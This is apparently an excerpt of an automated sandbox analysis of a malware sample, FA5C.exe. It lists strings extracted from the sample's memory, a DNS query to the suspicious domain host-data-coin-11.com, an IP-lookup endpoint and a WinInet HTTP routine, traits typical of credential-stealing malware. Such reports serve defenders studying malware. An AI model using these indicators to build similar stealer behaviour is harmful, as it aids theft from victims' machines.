Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: FA5C.exe, 00000027.00000002.953499141.0000000002EF0000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://service.r
Source: FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://service.real.com/realplayer/security/02062012_player/en/
Source: FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://support.a
Source: FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://support.apple.com/kb/HT203092
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: FA5C.exe, 00000027.00000002.1030809011.0000000003112000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: FA5C.exe, 00000027.00000002.1030809011.0000000003112000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953499141.0000000002EF0000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: FA5C.exe, 00000027.00000002.1030809011.0000000003112000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: FA5C.exe, 00000027.00000002.1030809011.0000000003112000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: FA5C.exe, 00000027.00000002.951781161.0000000002E61000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://www.google.com/earth/explore/products/plugin.html
Source: FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: http://www.interoperabilitybridges.com/wmp-extension-for-chrome
Source: FA5C.exe, 00000027.00000002.1016026617.00000000030C9000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.976385152.0000000003007000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.1075583600.000000000321E000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.1021158613.00000000030DF000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: FA5C.exe, 00000015.00000002.833273258.0000000003971000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.933081162.0000000000402000.00000040.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: FA5C.exe, 00000027.00000002.1016026617.00000000030C9000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.976385152.0000000003007000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.1075583600.000000000321E000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.1021158613.00000000030DF000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: svchost.exe, 00000016.00000003.792006375.000001A784B93000.00000004.00000001.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: FA5C.exe, 00000027.00000002.1021158613.00000000030DF000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: FA5C.exe, 00000027.00000002.1016026617.00000000030C9000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.976385152.0000000003007000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.1075583600.000000000321E000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.1021158613.00000000030DF000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.1021158613.00000000030DF000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabt
Source: FA5C.exe, 00000027.00000002.1021158613.00000000030DF000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: https://get.adob
Source: FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: https://helpx.ad
Source: FA5C.exe, 00000027.00000002.1016026617.00000000030C9000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.976385152.0000000003007000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.1075583600.000000000321E000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.1021158613.00000000030DF000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: FA5C.exe, 00000027.00000002.1016026617.00000000030C9000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.976385152.0000000003007000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.1075583600.000000000321E000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.1021158613.00000000030DF000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_divx
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_java
Source: FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_pdf
Source: FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_quicktime
Source: FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_real
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_shockwave
Source: FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_wmp
Source: FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: svchost.exe, 00000016.00000003.792006375.000001A784B93000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 00000016.00000003.792006375.000001A784B93000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
Source: FA5C.exe, 00000027.00000002.1016026617.00000000030C9000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.976385152.0000000003007000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.1075583600.000000000321E000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.978852970.000000000301D000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.1021158613.00000000030DF000.00000004.00000001.sdmp, FA5C.exe, 00000027.00000002.953978581.0000000002EF4000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: svchost.exe, 00000016.00000003.793370380.000001A784B89000.00000004.00000001.sdmp, svchost.exe, 00000016.00000003.793597944.000001A785002000.00000004.00000001.sdmp, svchost.exe, 00000016.00000003.793450984.000001A784BD2000.00000004.00000001.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback

Source: unknown

DNS traffic detected: queries for: host-data-coin-11.com

Source: C:\Users\user\AppData\Local\Temp\CFE8.exe

Code function: 18_2_00404BE0 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetSetOptionA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,InternetConnectA,InternetConnectA,HttpOpenRequestA,HttpOpenRequestA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrlen,lstrlen,GetProcessHeap,RtlAllocateHeap,lstrlen,memcpy,lstrlen,memcpy,lstrlen,lstrlen,memcpy,lstrlen,HttpSendRequestA,HttpQueryInfoA,StrCmpCA,Sleep,InternetReadFile,lstrcat,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

18_2_00404BE0

